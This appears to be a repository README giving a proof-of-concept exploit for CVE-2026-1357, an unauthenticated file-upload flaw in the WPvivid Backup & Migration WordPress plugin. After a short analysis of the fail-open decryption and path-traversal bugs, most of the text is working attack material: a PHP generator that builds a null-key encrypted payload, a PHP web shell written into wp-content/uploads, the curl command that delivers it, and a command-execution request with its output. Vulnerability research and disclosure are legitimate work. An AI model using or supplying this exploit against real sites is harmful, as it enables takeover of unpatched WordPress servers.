
Proof-of-concept exploit for CVE-2026-1357, an unauthenticated arbitrary file upload leading to RCE in WPvivid Backup & Migration plugin, with exploit generator and execution instructions.
Discovered by: Lucas Montes (NiRoX)
Vulnerability: Unauthenticated Arbitrary File Upload leading to Remote Code Execution (RCE)
CVE ID: CVE-2026-1357
CVSS: Critical(9.8)
Status: Patched in version 0.9.124
This repository contains the analysis and Proof of Concept (PoC) for a critical vulnerability in the WPvivid Backup & Migration WordPress plugin (versions <= 0.9.123).
The vulnerability allows an unauthenticated attacker to upload arbitrary files (such as PHP shells) to the server, leading to immediate Remote Code Execution (RCE). This is caused by a logical flaw in the cryptographic error handling (Fail-Open) combined with a Path Traversal vulnerability.
The vulnerability resides in the way the plugin handles remote backup transfer requests via the wpvivid_action=send_to_site hook. The exploitation chain consists of two distinct bugs working together:
When the plugin receives a transfer request, it attempts to decrypt the provided session key using .
openssl_private_decrypt()false. The plugin logic does not check this boolean return value and proceeds to pass false to the phpseclib library to initialize the AES cipher.phpseclib, a false or empty key is treated as a string of null bytes (\0\0...). This allows an attacker to encrypt a malicious payload using a 128-bit null key, bypassing the need for the actual private key.Once the payload is successfully "decrypted" using the null key, the plugin processes the JSON content.
name parameter inside the JSON payload is not sanitized.../) to escape the plugin's restricted backup directory (usually protected by .htaccess) and write a malicious PHP file into the public wp-content/uploads/ directory.Constraints:
wpvivid_api_token expires, the vulnerable code path allows the request to fail silently.The exploit relies on phpseclib (v1) behavior. To run the generator locally, you need the library files:
mkdir -p phpseclib/Crypt
wget -q https://raw.githubusercontent.com/phpseclib/phpseclib/1.0.20/phpseclib/Crypt/Rijndael.php -O phpseclib/Crypt/Rijndael.php
wget -q https://raw.githubusercontent.com/phpseclib/phpseclib/1.0.20/phpseclib/Crypt/Base.php -O phpseclib/Crypt/Base.php
exploit.php)This script creates a payload encrypted with a Null Key and includes the path traversal to upload a shell.
<?php
// exploit.php - Authored by Lucas Montes (NiRoX)
require_once(__DIR__ . '/phpseclib/Crypt/Rijndael.php');
// 1. Initialize Rijndael (AES)
$rij = new Crypt_Rijndael();
$rij->setBlockLength(128);
// 2. VULNERABILITY REPRODUCTION
// The server defaults to a null key when RSA decryption fails (returns false).
// We set our local key to 16 null bytes to match the server's vulnerable state.
$rij->setKey(str_repeat("\0", 16));
// 3. The Payload
$shell_content = '<?php system($_GET["cmd"]); ?>';
// 4. The JSON Object with Path Traversal
// We traverse up to /uploads/ to bypass .htaccess restrictions
$params = [
"backup_id" => "1",
"name" => "../uploads/pwn_remote.php",
"data" => base64_encode($shell_content),
"offset" => 0,
"file_size" => strlen($shell_content),
"total_size" => strlen($shell_content),
"index" => 0,
"md5" => md5($shell_content),
"type" => "backup",
"status" => "running"
];
// 5. Encrypt with Null Key
$encrypted = $rij->encrypt(json_encode($params));
// 6. Construct Packet
// "ABC" is the fake RSA key that triggers the 'false' return on the server
$fake_key = "ABC";
$payload = str_pad(dechex(strlen($fake_key)), 3, "0", STR_PAD_LEFT)
. $fake_key
. str_pad(dechex(strlen($encrypted)), 16, "0", STR_PAD_LEFT)
. $encrypted;
echo base64_encode($payload);
?>
PAYLOAD=$(php exploit.php)
curl -i -s -X POST 'http://TARGET-URL/' \
-d 'wpvivid_action=send_to_site' \
--data-urlencode "wpvivid_content=$PAYLOAD"
http://TARGET-URL/wp-content/uploads/pwn_remote.php?cmd=id
Result:
uid=33(www-data) gid=33(www-data) groups=33(www-data)